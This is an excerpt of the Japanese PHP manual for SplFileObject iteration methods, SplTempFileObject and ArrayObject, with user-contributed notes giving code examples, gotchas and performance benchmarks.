例2 SplFileObject::setMaxLineLen() による SplFileObject::key() の例

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
    echo $file->key() . ". " . $line . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

0. Lorem ipsum dolor s
1. it amet, consectetu
2. r adipiscing elit.
3.

4. Duis nec sapien fel
5. is, ac sodales nisl
6. .

7. Lorem ipsum dolor s
8. it amet, consectetu
9. r adipiscing elit.

参考

  • SplFileObject::current() - ファイルの現在の行を取得する
  • SplFileObject::seek() - ファイルポインタを指定行に移動させる
  • SplFileObject::next() - 次の行を読み出す
  • SplFileObject::rewind() - ファイルポインタを先頭に巻き戻す
  • SplFileObject::valid() - ファイル終端でないかチェックする

User Contributed Notes

xzero at elite7hackers dot net 07-Aug-2020 07:35
Another gotcha that is not mentioned: If you have flag SKIP_EMPTY set, then key() will not reflect actual line numbers as empty lines are not accounted.


次の行を読み出す

  • ≪ SplFileObject::key
  • SplFileObject::rewind ≫
  • PHP Manual
  • SplFileObject
  • 次の行を読み出す

SplFileObject::next

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::next — 次の行を読み出す

説明

public SplFileObject::next ( ) : void

ファイルの次の行に進みます。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 SplFileObject::next() の例

<?php
// 行単位でファイルを読み込む
$file = new SplFileObject("misc.txt");
while (!$file->eof()) {
    echo $file->current();
    $file->next();
}
?>

参考

  • SplFileObject::current() - ファイルの現在の行を取得する
  • SplFileObject::key() - 行番号を取得する
  • SplFileObject::seek() - ファイルポインタを指定行に移動させる
  • SplFileObject::rewind() - ファイルポインタを先頭に巻き戻す
  • SplFileObject::valid() - ファイル終端でないかチェックする

User Contributed Notes

quijote dot shin at gmail dot com 21-May-2017 09:03
As @Jonnycake  pointed there is no documentation about the following behavior of  next();

You need to call current() to really move forward without the need of a source loop.

Be:
<?php
$file = new SplFileObject("file.txt");

echo PHP_EOL . $file->current();
$file->next();
 $file->next();
 $file->next();
echo PHP_EOL . $file->current(); // 2nd line of the file

?>

<?php
$file = new SplFileObject("file.txt");

echo PHP_EOL . $file->current();
$file->next(); $file->current();
$file->next(); $file->current();
$file->next();
echo PHP_EOL . $file->current(); // be the 4th line of the file

?>

Honestly, I don't know if it is  waste of memory and/or CPU .
Jonnycake 02-Dec-2014 05:53
Quick note when using next(), it appears that you have to already be at the end of the line in order for it to hop to the next one.  I realized this while attempting to do a lineCount implementaiton like the following:

<?php
  function lineCount($file)
  {
     $x=0;
     while(!$file->eof()) {
          $x++;
          $file->next();
     }
     return $x;
  }
  $file=new SplFileObject("something");
  echo lineCount($file);
?>

It ended up in an infinite loop.  The solution was to just call fgets()/current() in the loop, although it wasn't being used anywhere so the following works:

<?php
  function lineCount($file)
  {
     $x=0;
     while(!$file->eof()) {
          $file->current();
          $x++;
          $file->next();
     }
     return $x;
  }
  $file=new SplFileObject("something");
  echo lineCount($file);
?>


ファイルポインタを先頭に巻き戻す

  • ≪ SplFileObject::next
  • SplFileObject::seek ≫
  • PHP Manual
  • SplFileObject
  • ファイルポインタを先頭に巻き戻す

SplFileObject::rewind

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::rewind — ファイルポインタを先頭に巻き戻す

説明

public SplFileObject::rewind ( ) : void

ファイルポインタを先頭に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

エラー / 例外

巻き戻しができない場合 RuntimeException がスローされます。

例

例1 SplFileObject::rewind() の例

<?php
$file = new SplFileObject("misc.txt");

// ファイル全体をループする
foreach ($file as $line) { }

// 最初の行に巻き戻す
$file->rewind();

// 最初の行を出力する
echo $file->current();
?>

参考

  • SplFileObject::current() - ファイルの現在の行を取得する
  • SplFileObject::key() - 行番号を取得する
  • SplFileObject::seek() - ファイルポインタを指定行に移動させる
  • SplFileObject::next() - 次の行を読み出す
  • SplFileObject::valid() - ファイル終端でないかチェックする

User Contributed Notes

There are no user contributed notes for this page.


ファイルポインタを指定行に移動させる

  • ≪ SplFileObject::rewind
  • SplFileObject::setCsvControl ≫
  • PHP Manual
  • SplFileObject
  • ファイルポインタを指定行に移動させる

SplFileObject::seek

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::seek — ファイルポインタを指定行に移動させる

説明

public SplFileObject::seek ( int $line_pos ) : void

ファイルポインタを指定行に移動させます。

パラメータ

line_pos

ゼロを起点とした移動させる行数。

返り値

値を返しません。

エラー / 例外

line_pos が負の値の場合、LogicException がスローされます。

例

例1 SplFileObject::seek() の例

この例はポジション 2 で見つかるスクリプトの第 3 行目を出力します。

<?php
$file = new SplFileObject(__FILE__);
$file->seek(2);
echo $file->current();
?>

上の例の出力は、 たとえば以下のようになります。

$file->seek(2);

参考

  • SplFileObject::current() - ファイルの現在の行を取得する
  • SplFileObject::key() - 行番号を取得する
  • SplFileObject::next() - 次の行を読み出す
  • SplFileObject::rewind() - ファイルポインタを先頭に巻き戻す
  • SplFileObject::valid() - ファイル終端でないかチェックする

User Contributed Notes

ahmad_maqsood at waku-2 dot com 21-Sep-2017 09:19
A sleek way of counting the number of lines in a file can be like below

$file = new \SplFileObject('file.extension', 'r');
$file->seek(PHP_INT_MAX);

echo $file->key() + 1;


CSV の区切り文字、囲み文字、エスケープ文字をセットする

  • ≪ SplFileObject::seek
  • SplFileObject::setFlags ≫
  • PHP Manual
  • SplFileObject
  • CSV の区切り文字、囲み文字、エスケープ文字をセットする

SplFileObject::setCsvControl

(PHP 5 >= 5.2.0, PHP 7)

SplFileObject::setCsvControl — CSV の区切り文字、囲み文字、エスケープ文字をセットする

説明

public SplFileObject::setCsvControl
 ( string $delimiter = ","
, string $enclosure = "\""
, string $escape = "\\"
) : void

CSV フィールド処理用の区切り文字と囲み文字とエスケープ文字をセットします。

パラメータ

delimiter

フィールドの区切り文字 (1 文字のみ)。

enclosure

フィールドの囲み文字 (1 文字のみ)。

escape

フィールドのエスケープ文字 (最大で1文字)。 空文字列("")を指定すると、プロプライエタリなエスケープ機構が無効になります。

返り値

値を返しません。

変更履歴

バージョン | 説明
7.4.0 | escape パラメータは空文字列を受け入れるようになりました。 この場合、プロプライエタリなエスケープ機構が無効になります。

例

例1 SplFileObject::setCsvControl() の例

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
$file->setCsvControl('|');
foreach ($file as $row) {
    list ($fruit, $quantity) = $row;
    // Do something with values
}
?>

data.csv の内容

<?php
apples|20
bananas|14
cherries|87
?>

参考

  • SplFileObject::getCsvControl() - CSV の区切り、囲み文字、エスケープ文字を取得する
  • SplFileObject::fgetcsv() - ファイルから行を取り出し CSV フィールドとして処理する

User Contributed Notes

There are no user contributed notes for this page.


SplFileObject のフラグをセットする

  • ≪ SplFileObject::setCsvControl
  • SplFileObject::setMaxLineLen ≫
  • PHP Manual
  • SplFileObject
  • SplFileObject のフラグをセットする

SplFileObject::setFlags

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::setFlags — SplFileObject のフラグをセットする

説明

public SplFileObject::setFlags ( int $flags ) : void

SplFileObject によって使われるフラグをセットします。

パラメータ

flags

セットするフラグのビットマスク。 利用可能なフラグは SplFileObject の定数 を参照してください。

返り値

値を返しません。

例

例1 SplFileObject::setFlags() の例

<?php
$file = new SplFileObject("data.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $fields) {
    var_dump($fields);
}
?>

参考

  • SplFileObject::getFlags() - SplFileObject のフラグを取得する

User Contributed Notes

There are no user contributed notes for this page.


読み込む行の最大バイト数をセットする

  • ≪ SplFileObject::setFlags
  • SplFileObject::__toString ≫
  • PHP Manual
  • SplFileObject
  • 読み込む行の最大バイト数をセットする

SplFileObject::setMaxLineLen

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::setMaxLineLen — 読み込む行の最大バイト数をセットする

説明

public SplFileObject::setMaxLineLen ( int $max_len ) : void

読み込む行の最大バイト数をセットします。

パラメータ

max_len

行の最大バイト数。

返り値

値を返しません。

エラー / 例外

max_len がゼロより小さい場合に DomainException をスローします。

例

例1 SplFileObject::setMaxLineLen() の例

<?php
$file = new SplFileObject("lipsum.txt");
$file->setMaxLineLen(20);
foreach ($file as $line) {
    echo $line . "\n";
}
?>

lipsum.txt の内容

Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Duis nec sapien felis, ac sodales nisl.
Nulla vitae magna vitae purus aliquet consequat.

上の例の出力は、 たとえば以下のようになります。

Lorem ipsum dolor s
it amet, consectetu
r adipiscing elit.

Duis nec sapien fel
is, ac sodales nisl
.

Nulla vitae magna v
itae purus aliquet
consequat.

参考

  • SplFileObject::getMaxLineLen() - 行の最大バイト数を取得する

User Contributed Notes

There are no user contributed notes for this page.


SplFileObject::fgets のエイリアス

  • ≪ SplFileObject::setMaxLineLen
  • SplFileObject::valid ≫
  • PHP Manual
  • SplFileObject
  • SplFileObject::fgets のエイリアス

SplFileObject::__toString

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::__toString — SplFileObject::fgets() のエイリアス

説明

このメソッドは次のメソッドのエイリアスです。 SplFileObject::fgets()

変更履歴

バージョン | 説明
7.2.19, 7.3.6 | SplFileObject::current() のエイリアスから、 SplFileObject::fgets() のエイリアスに変わりました。

User Contributed Notes

Anonymous 16-Oct-2018 11:36
Please note that the __toString() method is just an alias, as pointed out above, and that THAT method may return an array instead of a string. So in effect you might call a __toString() and expect a string, but instead receive an array.


ファイル終端でないかチェックする

  • ≪ SplFileObject::__toString
  • SplTempFileObject ≫
  • PHP Manual
  • SplFileObject
  • ファイル終端でないかチェックする

SplFileObject::valid

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::valid — ファイル終端でないかチェックする

説明

public SplFileObject::valid ( ) : bool

ファイル終端に到達したかチェックします。

パラメータ

この関数にはパラメータはありません。

返り値

ファイル終端に到達していなければ true、そうでなければ false を返します。

例

例1 SplFileObject::valid() の例

<?php
// Loop over a file, line by line
$file = new SplFileObject("file.txt");
while ($file->valid()) {
    echo $file->fgets();
}
?>

参考

  • SplFileObject::current() - ファイルの現在の行を取得する
  • SplFileObject::key() - 行番号を取得する
  • SplFileObject::seek() - ファイルポインタを指定行に移動させる
  • SplFileObject::next() - 次の行を読み出す
  • SplFileObject::rewind() - ファイルポインタを先頭に巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


The SplTempFileObject クラス

(PHP 5 >= 5.1.2, PHP 7)

はじめに

SplTempFileObject クラスは、一時ファイルへのオブジェクト指向インターフェイスを提供します。

クラス概要

SplTempFileObject extends SplFileObject implements SeekableIterator , RecursiveIterator {
/* 継承した定数 */
const int SplFileObject::DROP_NEW_LINE = 1 ;
const int SplFileObject::READ_AHEAD = 2 ;
const int SplFileObject::SKIP_EMPTY = 4 ;
const int SplFileObject::READ_CSV = 8 ;
/* メソッド */
public __construct ( int $max_memory = ? )
/* 継承したメソッド */
public SplFileObject::current ( ) : string|array
public SplFileObject::eof ( ) : bool
public SplFileObject::fflush ( ) : bool
public SplFileObject::fgetc ( ) : string
public SplFileObject::fgetcsv
 ( string $delimiter = ","
, string $enclosure = "\""
, string $escape = "\\"
) : array
public SplFileObject::fgets ( ) : string
public SplFileObject::fgetss ( string $allowable_tags = ? ) : string
public SplFileObject::flock ( int $operation , int &$wouldblock = ? ) : bool
public SplFileObject::fpassthru ( ) : int
public SplFileObject::fputcsv
 ( array $fields
, string $delimiter = ","
, string $enclosure = '"'
, string $escape = "\\"
) : int|false
public SplFileObject::fread ( int $length ) : string|false
public SplFileObject::fscanf ( string $format , mixed &...$vars ) : mixed
public SplFileObject::fseek ( int $offset , int $whence = SEEK_SET ) : int
public SplFileObject::fstat ( ) : array
public SplFileObject::ftell ( ) : int
public SplFileObject::ftruncate ( int $size ) : bool
public SplFileObject::fwrite ( string $str , int $length = ? ) : int
public SplFileObject::getChildren ( ) : void
public SplFileObject::getCsvControl ( ) : array
public SplFileObject::getFlags ( ) : int
public SplFileObject::getMaxLineLen ( ) : int
public SplFileObject::hasChildren ( ) : bool
public SplFileObject::key ( ) : int
public SplFileObject::next ( ) : void
public SplFileObject::rewind ( ) : void
public SplFileObject::seek ( int $line_pos ) : void
public SplFileObject::setCsvControl
 ( string $delimiter = ","
, string $enclosure = "\""
, string $escape = "\\"
) : void
public SplFileObject::setFlags ( int $flags ) : void
public SplFileObject::setMaxLineLen ( int $max_len ) : void
public SplFileObject::valid ( ) : bool
}

目次

  • SplTempFileObject::__construct — 新しい一時ファイルオブジェクトを作成する

User Contributed Notes

There are no user contributed notes for this page.


新しい一時ファイルオブジェクトを作成する

  • ≪ SplTempFileObject
  • その他のクラスおよびインターフェイス ≫
  • PHP Manual
  • SplTempFileObject
  • 新しい一時ファイルオブジェクトを作成する

SplTempFileObject::__construct

(PHP 5 >= 5.1.2, PHP 7)

SplTempFileObject::__construct — 新しい一時ファイルオブジェクトを作成する

説明

public SplTempFileObject::__construct ( int $max_memory = ? )

新しい一時ファイルオブジェクトを作成します。

パラメータ

max_memory

一時ファイルに使うメモリの最大量(バイト単位、デフォルトは 2 MB)。 一時ファイルがこのサイズを越える場合、ファイルはシステムの一時ディレクトリに移動させられます。

max_memory が負の値である場合、メモリだけが使われます。max_memory がゼロの場合、メモリは使われません。

返り値

値を返しません。

エラー / 例外

エラーが起きる場合 RuntimeException がスローされます。

例

例1 SplTempFileObject() の例

この例では読み書きできるメモリで一時ファイルが書き込まれます。

<?php
$temp = new SplTempFileObject();
$temp->fwrite("これは最初の行で\n");
$temp->fwrite("そしてこれは 2 番目の行です。\n");
echo "一時ファイルに " . $temp->ftell() . " バイトが書き込まれました。\n\n";

// 先頭に巻き戻し、書かれた内容を読み取る
$temp->rewind();
foreach ($temp as $line) {
    echo $line;
}
?>

上の例の出力は、 たとえば以下のようになります。

一時ファイルに 47 バイト書き込まれました。

これは最初の行で
そしてこれは 2 番目の行です。

参考

  • SplFileObject
  • PHP 入出力ストリーム (php://temp および php://memory について)

User Contributed Notes

larry dot laski at gmail dot com 15-May-2015 03:46
Noting that when the tmp file exceeds memory limitations and is written to the system temp directory, it is deleted upon completion of the script it was initially created in. At least that is what I have seen and wanted to document for others since it wasn't clear.


その他のクラスおよびインターフェイス

目次

  • ArrayObject
  • SplObserver
  • SplSubject

他の SPL カテゴリにあてはまらないクラスおよびインターフェイス群です。

User Contributed Notes

There are no user contributed notes for this page.


ArrayObject クラス

(PHP 5, PHP 7)

はじめに

このクラスは、オブジェクトを配列として動作させます。

クラス概要

ArrayObject implements IteratorAggregate , ArrayAccess , Serializable , Countable {
/* 定数 */
const int STD_PROP_LIST = 1 ;
const int ARRAY_AS_PROPS = 2 ;
/* メソッド */
public __construct ( mixed $input = array() , int $flags = 0 , string $iterator_class = "ArrayIterator" )
public append ( mixed $value ) : void
public asort ( int $flags = SORT_REGULAR ) : void
public count ( ) : int
public exchangeArray ( mixed $input ) : array
public getArrayCopy ( ) : array
public getFlags ( ) : int
public getIterator ( ) : ArrayIterator
public getIteratorClass ( ) : string
public ksort ( int $flags = SORT_REGULAR ) : void
public natcasesort ( ) : void
public natsort ( ) : void
public offsetExists ( mixed $index ) : bool
public offsetGet ( mixed $index ) : mixed
public offsetSet ( mixed $index , mixed $newval ) : void
public offsetUnset ( mixed $index ) : void
public serialize ( ) : string
public setFlags ( int $flags ) : void
public setIteratorClass ( string $iterator_class ) : void
public uasort ( callable $cmp_function ) : void
public uksort ( callable $cmp_function ) : void
public unserialize ( string $serialized ) : void
}

定義済み定数

ArrayObject の定数

ArrayObject::STD_PROP_LIST

オブジェクトのプロパティは (var_dump, foreachなどで) 配列としてアクセスしたときと同じ機能を持ちます

ArrayObject::ARRAY_AS_PROPS

オブジェクトのエントリはプロパティとしてアクセスできます(読み書き可)

変更履歴

バージョン | 説明
5.3.0 | Serializable を実装しました。

目次

  • ArrayObject::append — 値を追加する
  • ArrayObject::asort — 値でエントリをソートする
  • ArrayObject::__construct — 新規配列オブジェクトを生成する
  • ArrayObject::count — ArrayObject の public プロパティの数を取得する
  • ArrayObject::exchangeArray — 配列を別の配列と交換する
  • ArrayObject::getArrayCopy — ArrayObject のコピーを作成する
  • ArrayObject::getFlags — 振る舞いのフラグを取得する
  • ArrayObject::getIterator — ArrayObject インスタンスから新規イテレータを生成する
  • ArrayObject::getIteratorClass — ArrayObject のイテレータクラス名を取得する
  • ArrayObject::ksort — キーでエントリをソートする
  • ArrayObject::natcasesort — 大文字小文字を区別しない "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::natsort — "自然順" アルゴリズムでエントリをソートする
  • ArrayObject::offsetExists — 要求されたインデックスが存在するかどうかを返す
  • ArrayObject::offsetGet — 指定したインデックスの値を返す
  • ArrayObject::offsetSet — 指定したインデックスに新しい値をセットする
  • ArrayObject::offsetUnset — 指定したインデックスの値を解除する
  • ArrayObject::serialize — ArrayObject をシリアライズする
  • ArrayObject::setFlags — 処理フラグを設定する
  • ArrayObject::setIteratorClass — ArrayObject のイテレータクラス名を設定する
  • ArrayObject::uasort — ユーザー定義の比較関数でエントリをソートし、キーとの対応は保持する
  • ArrayObject::uksort — ユーザー定義の比較関数を使って、キーでエントリをソートする
  • ArrayObject::unserialize — ArrayObject をアンシリアライズする

User Contributed Notes

hello at rayfung dot hk 22-Feb-2021 01:38
If you want to use built-in array function with ArrayObject, store the iterator instance and return the value as reference in offsetGet.

<?php
class Collection extends \ArrayObject {
    public function __construct(array $data = [])
    {
        if (!\is_array($data) && !\array_key_exists('ArrayAccess', class_implements($data))) {
            $data = [$data];
        }

        $this->iterator = $this->getIterator();
        parent::__construct($data);
    }

    public function &offsetGet($index)
    {
        $value = &$this->iterator[$index] ?? null;

        return $value;
    }
}
?>
ke dot chankrisna168 at gmail dot com 05-May-2020 02:59
function map_of_array(array $element, $callable)
{
    foreach ($element as $key => $value) {
        $callable($key, $value);
    }
}

Usage:

$key_values = ["name" => "krisna", "level" => 10];

map_of_array($key_values, function ($key, $value) {
      echo "\n", $key, "=", $value;
});

Result:

name=krisna
level=10
fatindeed at hotmail dot com 31-Jan-2019 07:28
class RecursiveArrayObject extends \ArrayObject
{
    public function __construct($input = array())
    {
        $data = array();
        foreach ($input as $key => $value) {
            if (is_array($value)) {
                $value = new self($value);
            }
            $data[$key] = $value;
        }
        parent::__construct($data, \ArrayObject::ARRAY_AS_PROPS);
    }
}

$company = new RecursiveArrayObject(array(
    'ceo' => array(
        'id' => 1,
        'name' => 'tony',
        'age' => 36
    ),
    'coo' => array(
        'id' => 2,
        'name' => 'matt',
        'age' => 35
    ),
    'cto' => array(
        'id' => 3,
        'name' => 'james',
        'age' => 35
    )
));

var_dump($company->cto->name); // string(5) "james"
var_dump($company['coo']['name']); // string(4) "matt"
Vuong Nguyen 08-May-2018 03:52
You can easily realise that ArrayObject can use various functions as they are in ArrayIterator to iterate an object-as-a-array. However, you need to "activate" these function (rewind, valid, next and so on...) by using getIterator() first. Actually this function inherits from Iterator Aggregate interface.

Take a look at the following basic example. The results are the same:

<?php

$array = [1, 2, 3, 4];
$a = new ArrayObject($array);
$b = new ArrayIterator($array);

$iterator = $a->getIterator();

for($iterator->rewind(); $iterator->valid(); $iterator->next()){
    echo $iterator->current()*2;

}

for($b->rewind(); $b->valid(); $b->next()){
    echo $b->current()*2;

}

//Resulst are the same 2468 AND 2468
rudie 26-Feb-2018 02:08
If you want numerical ArrayObject objects to play nice with json_encode(), implement JsonSerializable:

class JsonSerializableArrayObject extends ArrayObject implements JsonSerializable {
    function jsonSerialize() {
        return $this->getArrayCopy();
    }
}

For assoc ArrayObject objects this isn't neccesary, but for numerical arrays it is, otherwise they will be formatted like

{"0":"jaap","1":"karel"}

instead of

["jaap","karel"]
php at abiusx dot com 07-Feb-2017 05:13
class MyArrayObject extends ArrayObject
{
    function __construct($input=[])
    {
        parent::__construct($input,ArrayObject::ARRAY_AS_PROPS);
    }
    function offsetSet($x,$v)
    {
        echo "offsetSet('{$x}')\n";
        return parent::offsetSet($x,$v);
    }
    function &offsetGet($x)
    {
        echo "offsetGet('{$x}')\n";
        $t=parent::offsetGet($x);
        return $t;
    }
    function __get($x)
    {
        echo "__get('{$x}')\n";
    }
    function __set($x,$v)
    {
        echo "__set('{$x}')\n";
    }
    function offsetExists($x)
    {
        echo "offsetExists('{$x}')\n";
        return parent::offsetExists($x);
    }
}
$x=new MyArrayObject;
$x->hello=5;
$x['hi']=10;
$x['hello']++;
@$x->a->b=7;
$x->a->b++;
var_dump($x);

One would expect the line "$x->a->b" to either invoke offsetGet or offsetSet, but neither will be invoked. The class is completely unaware of this property being added to it, and has no way of knowing.

The output is as follows:
offsetSet('hello')
offsetSet('hi')
offsetGet('hello')
object(MyArrayObject)#1 (1) {
  ["storage":"ArrayObject":private]=>
  array(3) {
    ["hello"]=>
    int(5)
    ["hi"]=>
    int(10)
    ["a"]=>
    object(stdClass)#2 (1) {
      ["b"]=>
      int(8)
    }
  }
}
Mahmoud Elnezamy 19-Feb-2016 01:36
<?php
class Prototype extends ArrayObject
{
    private $___class = null;

    public function __get($key)
    {
        return $this[$key];
    }

    public function __set($key, $value)
    {
        $this[$key] =  $value;
    }

    public function __call($key, $args)
    {
        if(is_object($this->___class) && is_callable([$this->___class, $key])){
            return call_user_func_array([$this->___class, $key],$args);
        }
        return is_callable($c = $this->__get($key)) ? call_user_func_array($c, $args) : null;
    }

    public function importObj($class,  $array = []){
        $this->___class = $class;
        if(count($array) > 0){
            $this->import($array);
        }
        return $this;
    }

    public function import($input)
    {
        $this->exchangeArray($input);
        return $this;
    }

    public function export()
    {
        return $this->objectToArray($this->getArrayCopy());
    }

    public function objectToArray ($object) {
        $o = [];
        foreach ($object as $key => $value) {
           $o[$key] = is_object($value) ? (array) $value: $value;
        }
        return $o;
    }

}

class user{
    public $name = 'Mahmoud Elnezamy';
    public function getName(){
        return 'You Name is ' . $this->name;
    }
}

//usage you can import object with some array

$add = ['age' => '27', 'country' => 'Egypt'];
$user = new user;
$Prototype = new Prototype;
$Prototype->importObj($user, $add);
//print_r($Prototype);

echo $Prototype->getName().' ';
echo $Prototype->age.' ';
echo $Prototype->country;
al.ahmed 26-Jun-2015 02:34
I did some benchmarking.... ArrayObject is super fast.  It is almost identical to regular arrays when doing get access in my test (1 million iteration).  This is insane.  When make a class with ArrayAccess, performance drops is 2x or more.
Gilles A 17-Nov-2014 01:51
// Example STD_PROP_LIST and ARRAY_AS_PROP combined
<?php
$ao = new ArrayObject();
$ao ->setFlags(ArrayObject::STD_PROP_LIST|ArrayObject::ARRAY_AS_PROPS);

$ao->prop = 'prop data';
$ao['arr'] = 'array data';

print_r($ao);

?>

// Result

ArrayObject Object
(
    [storage:ArrayObject:private] =&gt; Array
        (
            [prop] => prop data
            [arr] => array data
        )

)
rwn dot gallego at gmail dot com 11-Aug-2013 09:30
There is a better explanation about the ArrayObject flags (STD_PROP_LIST and ARRAY_AS_PROPS) right here:

http://stackoverflow.com/a/16619183/1019305

Thanks to JayTaph
mehea 06-Nov-2012 10:28
Long story short b/c arrays by default are passed by value, if you pass an array to a function, the function works on a copy of the array while the original array remains unaltered by the function.

You may cause a change to the array to be reflected in the original array by having the function return the altered array and assign it to the variable for the original array, as follows:

<?php
function my_array_modify($data) {
    $data['b'] = 2;
    return $data;
}

$regularArray = array();

$regularArray['a'] = 1;

$regularArray = my_array_modify($regularArray);

var_dump($regularArray['b']); // 2
?>

Or, you may explicitly pass the array by reference in which case there is no need for the function to return the array since the change will have effected the original array, as follows:

<?php
function my_arrayref_modify(&$data) {
    $data['bb'] = 22;
}
my_arrayref_modify($regularArray);
var_dump($regularArray['bb']); // 22
?>
php5 dot man at lightning dot hu 05-Jan-2012 08:24
As you know ArrayObject is not an array so you can't use the built in array functions. Here's a trick around that:

Extend the ArrayObject class with your own and implement this magic method:

<?php
    public function __call($func, $argv)
    {
        if (!is_callable($func) || substr($func, 0, 6) !== 'array_')
        {
            throw new BadMethodCallException(__CLASS__.'->'.$func);
        }
        return call_user_func_array($func, array_merge(array($this->getArrayCopy()), $argv));
    }
?>

Now you can do this with any array_* function:
<?php
$yourObject->array_keys();
?>
- Don't forget to ommit the first parameter - it's automatic!

Note: You might want to write your own functions if you're working with large sets of data.
MarkAndrewSlade at gmail dot com 21-Aug-2011 06:05
I found the description of STD_PROP_LIST a bit vague, so I put together a simple demonstration to show its behavior:

<?php

$a = new ArrayObject(array(), ArrayObject::STD_PROP_LIST);
    $a['arr'] = 'array data';
    $a->prop = 'prop data';
$b = new ArrayObject();
    $b['arr'] = 'array data';
    $b->prop = 'prop data';

// ArrayObject Object
// (
//      [prop] => prop data
// )
print_r($a);

// ArrayObject Object
// (
//      [arr] => array data
// )
print_r($b);

?>
marijn at sensimedia dot nl 21-Jul-2011 12:34
A gotcha that is indeed mentioned in the manual, but isn't readily obvious and just cost me half an hour:

Objects implementing the Serializable interface do NOT get __sleep and __wakeup called; instead, they use serialize and unserialize methods, respectively (why, I don't know, but whatever - I'm sure there's a reason).

Hence, I was trying to serialize a database resultset in an object extending ArrayObject, and needed to fix some stuff regarding database resources on serialize. Took me a while to figure out __sleep wasn't getting called because ArrayObjects implements Serialize...

Presumably the ArrayObject internally implements the serialize/unserialize methods (in a trivial manner), hence the error wasn't apparent immediately (i.e., no fatal error was thrown) and I'd been trying to track why my objects didn't get serialized (they were of course) instead of renaming and fixing the methods.
sfinktah at php dot spamtrak dot org 17-Apr-2011 12:27
If you plan to derive your own class from ArrayObject, and  wish to maintain complete ArrayObject functionality (such as being able to cast to an array), it is necessary to use ArrayObject's own private property "storage".

Since that is impossible to do directly, you must use ArrayObject's offset{Set,Get,Exists,Unset} methods to manipulate it indirectly.

As a side benefit, this means you inherit all the iteration and other functions in complete working order.

This may sound obvious to someone who has never implemented their own ArrayObject class...  but it is far from so.

<?php

class MyArrayObject extends ArrayObject {
        static $debugLevel = 2;

        static public function sdprintf() {
                if (static::$debugLevel > 1) {
                        call_user_func_array("printf", func_get_args());
                }
        }

        public function offsetGet($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetSet($name, $value) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetExists($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
        public function offsetUnset($name) {
                self::sdprintf("%s(%s)\n", __FUNCTION__, implode(",", func_get_args()));
                return call_user_func_array(array(parent, __FUNCTION__), func_get_args());
        }
}

$mao = new MyArrayObject();
$mao["name"] = "bob";
$mao["friend"] = "jane";
print_r((array)$mao);

/* Output:

offsetSet(name,bob)
offsetSet(friend,jane)
Array
(
    [name] => bob
    [friend] => jane
)       */
?>

If you wish to use the "Array as Properties" flag, you simply need to include this in your constructor:

<?php parent::setFlags(parent::ARRAY_AS_PROPS); ?>

This will allow you to do things such as the below example, without overriding __get or __set .

<?php
$mao->name = "Phil";
echo $mao["name"];   /* Outputs "Phil" */
?>
rob at tdd dot org dot uk 03-Mar-2011 04:38
I don't believe the same performance is true since PHP 5.3. Using the same fill, read_key and foreach approach on both native arrays and ArrayObjects with 10000 keys I get the following

PHP 5.2

array() fill         0.013101
array() read         0.008685
array() foreach      0.004319
ArrayObject fill     0.014136
ArrayObject read     0.010003
ArrayObject foreach  3.454612

PHP 5.3

array() fill         0.010395
array() read         0.005933
array() foreach      0.001903
ArrayObject fill     0.010598
ArrayObject read     0.006387
ArrayObject foreach  0.003451

This was the code I used for both, an array or ArrayObject is passed into each of the functions. Again PEAR::Benchmark was used to get the results.

<?php
require_once 'Benchmark/Timer.php';

define('KEYS', 10000);

function fill(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $arr['key-' . $i] = $i;
    }
}

function read_key(&$arr) {
    for ($i = 1; $i <= KEYS; $i++) {
        $v = $arr['key-' . $i];
    }
}

function fe(&$arr) {
    foreach ($arr as $key => $value) {
        $v = $value;
    }
}
?>
danbettles at yahoo dot co dot uk 23-Aug-2009 08:56
To implement array-style appending (e.g. "$object[] = 'foo';") in your own class implementing the ArrayAccess _interface_, all you need do is check if the key passed to your implementation of offsetSet() is NULL.  Something like the following.

<?php

class MyArrayObject implements ArrayAccess {

    /**
     * @var array
     */
    private $aValue;

    // ...

    /**
     * @see ArrayAccess::offsetSet()
     */
    public function offsetSet ($p_key, $p_value) {
        if (is_null($p_key)) {
            $this->aValue[] = $p_value;
        }
        else {
            $this->aValue[$p_key] = $p_value;
        }
    }

    // ...
}
?>
skrebbel at gmail dot com 18-Apr-2009 03:25
According to my benchmarks, doing foreach() on an ArrayObject is significantly slower than doing so on a vanilla array(). However, inserting keys and retrieving them is almost the same speed.

So, if performance is important, consider not using ArrayObject or descendant classes when you're iterating over its values a lot.

These are my timing results, using PEAR::Benchmark:

ArrayObject fill            0.01441502571106
ArrayObject read_key        0.018320083618164
ArrayObject read_foreach    2.1559031009674

array() fill                0.012364864349365
array() read_key            0.013092041015625
array() read_foreach        0.011217832565308

In all cases, 'fill()' inserts 10000 numbers at string keys, 'read_key()' reads all of those values by referencing the keys, and 'read_foreach()' does the same by walking through the array(object) with foreach().

As you can see, filling or reading from an ArrayObject by key is only 10% to 15% slower, but doing a foreach() is 200 times as costly. I am not sure what the cause of this may be.
nonproffessional at clockworkgeek dot com 09-Mar-2009 11:04
To get a primitive array type back from an ArrayObject you can use the member function exchangeArray() or more simply just cast it:

<?php
$object = new ArrayObject();
$object[] = "Hello World!";
// $object is now an ArrayObject with one value appended.

$array = (array) $object;
